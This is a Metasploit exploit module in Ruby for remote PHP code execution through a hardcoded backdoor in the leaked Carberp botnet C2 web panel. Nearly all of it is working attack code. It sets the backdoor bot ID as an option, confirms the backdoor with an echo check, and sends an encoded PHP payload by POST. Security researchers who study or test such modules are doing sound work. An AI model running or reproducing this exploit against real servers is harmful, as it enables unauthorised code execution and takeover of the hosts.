Carberp Web Panel C2 Backdoor Remote PHP Code Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Carberp Web Panel C2 Backdoor Remote PHP Code Execution',  
'Description' => %q{  
This module exploits backdoors that can be sighted all over the leaked  
source code of the Carberp botnet C2 Web Panel.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'bwall(Brian Wallace) <bwallace[at]cylance.com>', # msf module  
'connection(Luis Santana) <hacktalkblog[at]gmail.com>', # exploit reporting  
'Steven K <xylitol[at]malwareint[d0t]com>' # discovery and reporting  
],  
'References' =>  
[  
['URL', 'http://www.xylibox.com/2013/06/carberp-remote-code-execution-carpwned.html']  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Keys' => ['php'],  
'Space' => 10000,  
'DisableNops' => true  
},  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
['carberp', {}]  
],  
'DisclosureDate' => 'Jun 28 2013',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI',[true, "The path to the backdoor, often just index.php", "/index.php"]),  
OptString.new('BOTID', [true, 'Hardcoded backdoor bot ID that can run PHP eval', 'BOTNETCHECKUPDATER0-WD8Sju5VR1HU8jlV']),  
],self.class)  
end  
  
def check  
confirm_string = rand_text_alpha(8)  
cmd = "echo '#{confirm_string}';"  
shell = http_send_command(cmd)  
check_code = Exploit::CheckCode::Safe  
  
if shell and shell.body.include?(confirm_string)  
check_code = Exploit::CheckCode::Vulnerable  
end  
  
check_code  
end  
  
def http_send_command(cmd)  
uri = normalize_uri(target_uri.path.to_s)  
request_parameters = {  
'method' => 'POST',  
'uri' => uri,  
'vars_post' =>  
{  
'id' => datastore['BOTID'],  
"data" => Rex::Text.encode_base64(cmd.unpack('H*'))  
}  
}  
res = send_request_cgi(request_parameters)  
  
res  
end  
  
def exploit  
http_send_command(payload.encoded)  
end  
end  
`